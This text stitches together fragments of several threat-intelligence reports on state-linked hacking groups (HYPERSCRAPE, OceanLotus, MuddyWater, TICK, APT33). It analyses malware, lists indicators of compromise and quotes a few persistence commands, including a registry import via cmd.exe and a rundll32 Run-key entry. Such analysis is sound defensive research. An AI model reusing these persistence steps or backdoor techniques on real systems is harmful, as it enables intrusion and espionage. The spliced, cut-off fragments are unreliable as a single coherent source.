pipeCommunication.Close(); }


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries 03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa


Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb


We identified a MacOS backdoor (detected by Trend Micro as  OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a. APT 32, APT-C-00, SeaLotus, and Cobalt Kitty).


The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed.


The MacOS backdoor was found in a malicious Word document presumably distributed via email.


Figure 1. Graphic used by the malicious document


Upon receiving the malicious document, the user is advised to enable macros.


In our analysis, the macro is obfuscated, character by character, using the decimal ASCII code.


This is shown in the figure below.


Figure 2.


Code snippet of the obfuscated document


It extracts theme0.xml file from the Word document.


theme0.xml is a Mach-O 32-bit executable with a  0xFEEDFACE signature that is also the dropper of the backdoor, which is the final payload.


theme0.xml is extracted to /tmp/system/word/theme/syslogd before it’s executed.


Figure 3. Deobfuscated Perl payload from the delivery document Dropper analysis


Figure 4.


The main function of the dropper


Figure 5. Hardcoded RSA256 key showing the first 20 characters


The locations:


For regular user   path: ~/Library/Spelling/ processname: spellagentd


Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file.


Figure 6.


The magic value 0xFEEDFACF that belongs to Mach-O Executable (64 bit) Methods GET_LAUNCHNAME and GET_LABELNAME will return the hardcoded name of the property list “.plist” for the root user (com.apple.screen.assistantd.plist) and for the regular user (com.apple.spell.agent.plist).


Figure 8.


Property list with persistence settings launchctl load /Library/LaunchDaemons/filename.plist > /dev/nul or launchctl load ~/Library/LaunchAgents/ filename.plist > /dev/nul will then command the operating system to start the dropped backdoor file at login.


Backdoor analysis


Meanwhile, runHandle is responsible for the backdoor capabilities.


Figure 9.


The main functions of the backdoor infoClient fills up the variables in HandlePP class.


Figure 10.


The HandlePP::getClientID method uses the following environment variables:  Figure 11. Serial number  Figure 12.


Hardware UUID  Figure 13.


MAC address  Figure 14.


Randomly generated UUID


For the initial information packet, the backdoor also collects the following:  Figure 15.


Figure 16.


Parser::inBytes method


If clientID equals the following sequence of bytes B4 B1 47 BC 52 28 28 73 1F 1A 01 6B FA 72 C0 73, then the scrambled version is computed using the third parameter (0x10), which is treated as a DWORD.


Each quadruple of bytes is XOR-ed with it, as shown in example below.


Figure 17.


Parser::inByte method


Figure 18.


Parser::inString method


Let’s say we want to scramble string ‘Mac OSX 10.12.’


The final 5-byte sequence looks like F3 00 00 00 92 0D.


The original string is then XOR’ed with the 5-byte sequence.


Figure 19.


Scrambling ‘Mac OSX 10.12’ Encryption


Encoding the encryption key


However, this key is also scrambled with operation XOR 0x13 followed by ROL 6 operation applied to each byte.


Figure 20. Function for scrambling AES256 key in the outgoing packet


The highlighted bytes represent the scrambled computer info  Figure 22.


Randomly generated AES256 key  Figure 23. Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.)


Figure 24.


Computer info encrypted with AES256 key  Figure 25.


Screenshot of the final payload to be sent to C&C server.


Other bytes are just randomly generated noise.


The getCommand method


The figure below shows the example of two of several possible command codes.


Malicious attacks targeting Mac devices are not as common as its counterparts, but the discovery of this new MacOS backdoor that is presumably distributed via phishing email calls for every user to adopt best practices for phishing attacks regardless of operating system.


Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen™ security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint.   Indicators of Compromise (IoCs)  C&C servers  Ssl[.]arkouthrie[.]com s3[.]hiahornber[.]com widget[.]shoreoa[.]com    SHA256 Delivery document (W2KM_OCEANLOTUS.A): 2bb855dc5d845eb5f2466d7186f150c172da737bfd9c7f6bc1804e0b8d20f22a Dropper (OSX_OCEANLOTUS.D): 4da8365241c6b028a13b82d852c4f0155eb3d902782c6a538ac007a44a7d61b4 Backdoor (OSX_OCEANLOTUS.D): 673ee7a57ba3c5a2384aeb17a66058e59f0a4d0cddc4f01fe32f369f6a845c8f            Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Network


MuddyWater is a well-known threat actor group that has been active since 2017.


They target groups across Middle East and Central Asia, primarily using spear phishing emails with malicious attachments.


The group has been quite visible since the initial 2017 Malwarebytes report on their elaborate espionage attack against the Saudi Arabian government.


However, we recently observed a few interesting delivery documents similar to the known MuddyWater TTPs.


Our analysis revealed that they drop a new backdoor, which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor.


But, unlike previous incidents using POWERSTATS, the command and control (C&C) communication and data exfiltration in this case is done by using the API of a cloud file hosting provider.


The screenshots below show the malicious attachments, which are disguised to look real, similar to any typical phishing document.


If the targeted victims enable macros, then the malicious process continues.


Figure 1.


Fake Office document tries to get user to enable malicious macros.


The blurred document contains logos of different Turkish government entities  Figure 2.


A similar fake Office document has blurred logos for a Turkish government institution related to taxes The macros contain strings encoded in base52, which is rarely used by threat actors other than MuddyWater.


The group is known to use it to encode their PowerShell backdoor.


After enabling macros, a .dll file (with a PowerShell code embedded) and a .reg file are dropped into %temp% directory.


The macro then runs the following command: "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe IMPORT %temp%\B.reg


Running this registry file adds the following command to the Run registry key: rundll32 %Temp%\png.dll,RunPow  Figure 3.


Run registry key We assume that RunPow stands for “run PowerShell,” and triggers the PowerShell code embedded inside the .dll file.


The PowerShell code has several layers of obfuscation.


Figure 4.


Encrypted PowerShell code


The other layers are simple obfuscated PowerShell scripts.


But the last layer is the main backdoor body.


This backdoor has some features similar to a previously discovered version of the Muddywater backdoor.


Figure 5. String of system information collected from the victim’s system


The previous MuddyWater version collected similar information but used a different separator:  Figure 6.


When we analyzed further, we saw that the communication methods use files named <md5(hard disk serial number)> with various extensions depending on the purpose of the file.


The figure below is the decoded .res file from Figure 9.


Figure 10.


Decoded .res file


The backdoor supports the following commands:  $upload - upload a file to file hosting service $dispos - remove persistence $halt - exit $download - download file from a hosting service No prefix - execute command via Invoke Expression (IEX), a PowerShell command that runs commands or expressions on the local computer  Based on our analysis, we can confirm that the targets were Turkish government organizations related to the finance and energy sectors.


This is yet another similarity with previous MuddyWater campaigns, which were known to have targeted multiple Turkish government entities.


The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents.


It is important that employers and employees across all organizations and enterprises be able to identify phishing attacks and distinguish legitimate emails from malicious ones.


In general, users should always practice caution when it comes to email.


Apart from knowledge and awareness of phishing and social engineering, it is also important to be prepared with effective and layered security solutions.


Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.


Indicators of Compromise  SHA256 Type Detection Name 41ee0ab77b474b0c84a1c25591029533f058e4454d9f83ba30159cc6309c65d1


Delivery documents W2KM_POWRUN.A 43080479eb1b00ba80c34272c5595e6ebdc6b0ffabcdc2c40ea2af49fcc43db4 Dropped DLL file Backdoor.Win32.POWRUN.AA 4f509354d8b3152a40c64ce61f7594d592c1256ad6c0829760b8dbdcb10579a2 Weaponized document BACKDOOR.WIN32.POWRUN.AA 685e91bc4e98c38bda7c8e57d5d40a11e7cf48bb43859bb799813f0146a14fcf Dropped DLL file BKDR_POWRUN.B 888a6f205ac9fc40d4898d8068b56b32f9692cb75f0dd813f96a7bd8426f8652 Dropped DLL file Trojan.W97M.POWRUN.AA 0acd10b14d38a4ac469819dfa9070106e7289ecf7360e248b7f10f868c2f373d Dropped DLL file BKDR_POWRUN.A          Tags  Cloud | Malware | APT & Targeted Attacks | Endpoints | Research


While we have been following cyberespionage group TICK (a.k.a. “BRONZE BUTLER” or “REDBALDKNIGHT”) since 2008, we noticed an unusual increase in malware development and deployments towards November 2018.


Given their targets, we have named this campaign “Operation ENDTRADE,” and identified some of the findings in our research “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.


Operation ENDTRADE’s timeline


These email addresses were used for spear phishing, prompting potential victim organizations to open the attachments with malware payloads.


Spear phishing sample in fluent Japanese


Based on the language that was hardcoded in the samples we found, TICK appeared to be targeting Japanese organizations with subsidiaries in China to serve as footholds for intrusion: TICK hard-coded two code pages 932 and 936, referring to Japanese and Simplified Chinese characters respectively.


Figure 3. Language code pages


Malware Analysis


Figure 4.


New downloaders and trojans DATPER While this backdoor routine has been associated with TICK’s weapons arsenal, the sample we derived from this campaign had two adjusted mutex objects — d0ftyzxcdrfdqwe and *&Hjgfc49gna-2-tjb — that retrieve information from the victim’s machine.


Figure 5.


DATPER’s new mutex with separate parameters down_new


This malware combines features of existing trojans in the malware family’s development, based on the adjustments TICK made as we analyzed their test versions.


Gets MAC address and volume information to send back to the C&C. Executes only during working hours (8:00AM-6:00PM, using kernel32.GetLocalTime API)


Uses legitimate websites for the C&C server.


Figure 6. Code showing down_new’s command function  Table 1.


Figure 7.


down_new collects home phone data and URL path Avenger


First stage: Information collection  2.


Figure 9.


Third stage: Sending the encrypted file to the C&C


While steganography is always used as part of TICK’s malware techniques, we found that the group used a more sophisticated steganography technique in this campaign.


Figure 11. Backdoor found in the steganography image  Figure 12.


Upgraded steganography technique


Figure 13. Avenger2 with internal URL Casper Casper is a modified version of the Cobalt Strike backdoor, showing the team server SHA1 hash if the controller connects to the C&C.


Figure 14.


Casper C&C with Cobalt Strike’s server fingerprint


The backdoor is usually hidden in the steganography photo and uses several techniques and tools to bypass AV detection.


Another involves injecting the backdoor’s shellcode into svchost.exe.


Figure 15. Shellcode injected to svchost.exe


Included in all the malware routines, we also found TICK using publicly available remote access trojans (RATs) and ope n source tools, and either modified or imported the techniques into their malware.


The list of modified tools the group used include Mimikatz, RAR compression tool, port mapping tool, and screen capture.


Figure 16. Modified screen capture tool  Figure 17.


Modified Mimikatz Conclusion TICK is an organized and persistent cyber espionage group specialized in targeting high-value individuals and organizations, with the skills and resources needed to coordinate sophisticated attacks.


It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like TICK’s attacks even without any engine or pattern update.


For the full technical analyses of all the malware, techniques, tools, MITRE ATT&CK techniques and indicators of compromise (IoCs) we found in this campaign, download the research brief, “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.           Tags  Malware | APT & Targeted Attacks | Endpoints | Research |


Network


It provides a more comprehensive look at APT33 and other critical threats.


Read the full paper here.


This blog was originally published on November 13, 2019.


Updated on November 27, 2019 at 11:00 PM PST to add new information about a C&C domain.


The group puts up multiple layers of obfuscation to run these C&C servers in extremely targeted malware campaigns against organizations in the Middle East, the U.S., and Asia.


APT33 has also been executing more aggressive attacks over the past few years.


For example, for at least two years the group used the private website of a high-ranking European politician (a member of her country’s defense committee) to send spear phishing emails to companies that are part of the supply chain of oil products.


Another European oil company suffered from an APT33 related malware infection on one of their servers in India for at least 3 weeks in November and December 2018.


Date From Address Subject 12/31/16 recruitment@alsalam.aero Job Opportunity 4/17/17 recruitment@alsalam.aero Vacancy Announcement 7/17/17 careers@ngaaksa.com Job Openning 9/11/17 jobs@ngaaksa.ga Job Opportunity 11/20/17 jobs@dyn-intl.ga Job Openning 11/28/17 jobs@dyn-intl.ga Job Openning 3/5/18 jobs@mail.dyn-corp.ga Job Openning 7/2/18 careers@sipchem.ga


Job Opportunity SIPCHEM 7/30/18 jobs@sipchem.ga


Latest Vacancy 8/28/18 careers@aramcojobs.ga Latest Vacancy 9/25/18 careers@aramcojobs.ga


AramCo Jobs 10/22/18 jobs@samref.ga


Table 1.


Spear phishing campaigns of APT33.


Source: Trend Micro’s Smart Protection Network


Aside from the relatively noisy attacks of APT33 against oil product supply chains, we found that APT33 has been using several C&C domains for small botnets comprised of about a dozen bots each.


It appears that APT33 took special care to make tracking more difficult.


The APT33 actors then issue commands to the bots and collect data from the bots using these VPN connections.


These aggregators get data from very few C&C servers (only 1 or 2), with only up to a dozen victims per unique C&C domain.


Domain Created oorgans.com 5/28/16 suncocity.com 5/31/16 zandelshop.com 6/1/16


simsoshop.com